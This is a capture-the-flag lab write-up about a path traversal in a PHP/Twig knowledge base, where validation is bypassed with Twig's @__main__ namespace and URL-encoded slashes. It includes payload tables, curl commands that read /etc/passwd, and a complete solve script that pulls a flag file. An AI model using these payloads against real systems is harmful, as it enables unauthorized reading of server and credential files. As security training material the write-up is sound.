Lab 158 — PageCraft — Twig Template Path Traversal via Namespace Bypass
Lab 158 — PageCraft — Twig Template Path Traversal via Namespace Bypass
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: path_traversal_via_encoded_separators, twig_main_namespace_abuse, twig_namespace_path_traversal, url_encoded_slash_bypass, validation_bypass_via_namespace_prefix
Summary
Task: PHP/Twig knowledge base with layout query parameter controlling template rendering; direct path traversal blocked. Solution: Bypassed validation using Twig @main namespace prefix combined with URL-encoded slashes (%2f) to traverse out of templates directory and read /app/root/flag.txt.
Lab 158 — PageCraft — Twig Template Path Traversal via Namespace Bypass — HackAdvisor
Description
PageCraft is a collaborative knowledge base platform built by NexaDocs Inc. for engineering teams. The application features article creation with HTML content support, multiple display layout templates, full-text search, category organization, and team collaboration tools. Users can customize how articles appear by selecting from various layout templates (Default, Minimal, Documentation, Wide) using a dropdown selector on each article page. The selected template name is passed via the
layoutquery parameter. The objective is to find a way to read sensitive files stored on the server that should not be accessible through the web application.
A PHP 8.1 application using Twig 3.4 template engine behind nginx 1.25.5. The layout query parameter on article pages controls which Twig template is rendered. The application validates against path traversal (../) but the validation can be bypassed by combining Twig's @__main__ namespace prefix with URL-encoded path separators (%2f), allowing arbitrary file read outside the templates directory.
Analysis
Initial Reconnaissance
- Server stack: nginx/1.25.5, PHP/8.1.32
- Template engine: Twig 3.4 (mentioned in footer)
- CSS framework: Bulma
- Credentials: user@test.com / password123
- Login: POST
/loginwith email and password fields, no CSRF token, 302 redirect on success - Key endpoints:
/articles/{id},/templates,/search - Layout parameter:
?layout=layouts/default.twigon article pages
Template Structure Discovery
Tested which template files exist by using them as the layout parameter:
| Path | Result |
|---|---|
layouts/default.twig | 200 ✓ (default layout) |
layouts/minimal.twig | 200 ✓ |
layouts/documentation.twig | 200 ✓ |
layouts/wide.twig | 200 ✓ |
base.twig | 200 ✓ (templates root) |
error.twig | 200 ✓ |
search.twig, login.twig, register.twig, profile.twig | 200 ✓ |
@__main__/layouts/default.twig | 200 ✓ (namespace works) |
@__main__/base.twig | 200 ✓ |
| |
This confirmed the Twig FilesystemLoader accepts the @__main__ namespace prefix and the templates directory contains standard Twig files.
Path Traversal Validation Analysis
Systematically tested traversal patterns to understand the validation:
| Payload | Result | Conclusion |
|---|---|---|
../../../etc/passwd | 500 | Direct ../ blocked |
layouts/../../etc/passwd | 500 | Traversal from subdirectory blocked |
@__main__/../../../etc/passwd | 500 | Namespace + raw ../ blocked |
layouts/..%2fbase.twig | 200 ✓ | URL-encoded slash works within templates dir |
layouts/..%2f..%2f..%2fetc%2fpasswd | 500 | Encoded traversal outside templates blocked |
@__main__%2flayouts%2f..%2f..%2fetc%2fpasswd | 200 ✓ | Namespace + encoded slashes bypasses validation! |
| |
Root Cause
The validation logic checks for ../ patterns in the raw input string but fails when:
- The
@__main__namespace prefix is present — the validator likely treats namespace-prefixed paths differently or skips validation for them - The slash immediately after
@__main__is URL-encoded (%2f) — this prevents the validator from recognizing the path structure - Twig's FilesystemLoader subsequently decodes the URL-encoded path and resolves it normally, allowing traversal outside the templates directory
The mismatch between application-level validation (string-based pattern matching) and Twig's path resolution (URL-decode then resolve) creates the bypass.
Solution
Step 1: Login and obtain session
bash read-only • copy allowedURL="https://a054b3b4-cf82-4c66-872a-35c90fedde17.labs.hackadvisor.io" curl -sv -c cookies.txt -X POST "$URL/login" \ -d "email=user@test.com&password=password123" \ -L -o /dev/null
Step 2: Confirm template loading via layout parameter
bash read-only • copy allowed# Default layout works curl -sb cookies.txt "$URL/articles/17?layout=layouts/default.twig" -o /dev/null -w "%{http_code}" # 200 # Namespace prefix works curl -sb cookies.txt "$URL/articles/17?layout=@__main__/layouts/default.twig" -o /dev/null -w "%{http_code}" # 200
Step 3: Test path traversal bypass with /etc/passwd
bash read-only • copy allowed# Direct traversal — blocked curl -sb cookies.txt "$URL/articles/17?layout=../../../etc/passwd" -o /dev/null -w "%{http_code}" # 500 # Namespace + URL-encoded slashes — bypasses validation! curl -sb cookies.txt "$URL/articles/17?layout=@__main__%2flayouts%2f..%2f..%2fetc%2fpasswd" -o /dev/null -w "%{http_code}" # 200 — /etc/passwd contents rendered
Step 4: Read the flag
The templates directory is at /app/templates/, so ../../root/flag.txt traverses to /app/root/flag.txt:
bash read-only • copy allowedcurl -sb cookies.txt \ "$URL/articles/17?layout=@__main__%2flayouts%2f..%2f..%2froot%2fflag.txt"
The server rendered the contents of the flag file in the response body.
Solve Script (Complete)
bash read-only • copy allowed#!/bin/bash # PageCraft — Twig Template Path Traversal via @__main__ Namespace Bypass # Lab 158 — HackAdvisor URL="https://a054b3b4-cf82-4c66-872a-35c90fedde17.labs.hackadvisor.io" # 1. Login curl -s -c cookies.txt -X POST "$URL/login" \ -d "email=user@test.com&password=password123" \ -L -o /dev/null # 2. Read flag via namespace path traversal bypass # Templates dir: /app/templates/ # Target: /app/root/flag.txt (../../root/flag.txt from templates/layouts/) FLAG=$(curl -sb cookies.txt \ "$URL/articles/17?layout=@__main__%2flayouts%2f..%2f..%2froot%2fflag.txt" \ | grep -oP 'FLAG\{[^}]+\}') echo "Flag: $FLAG"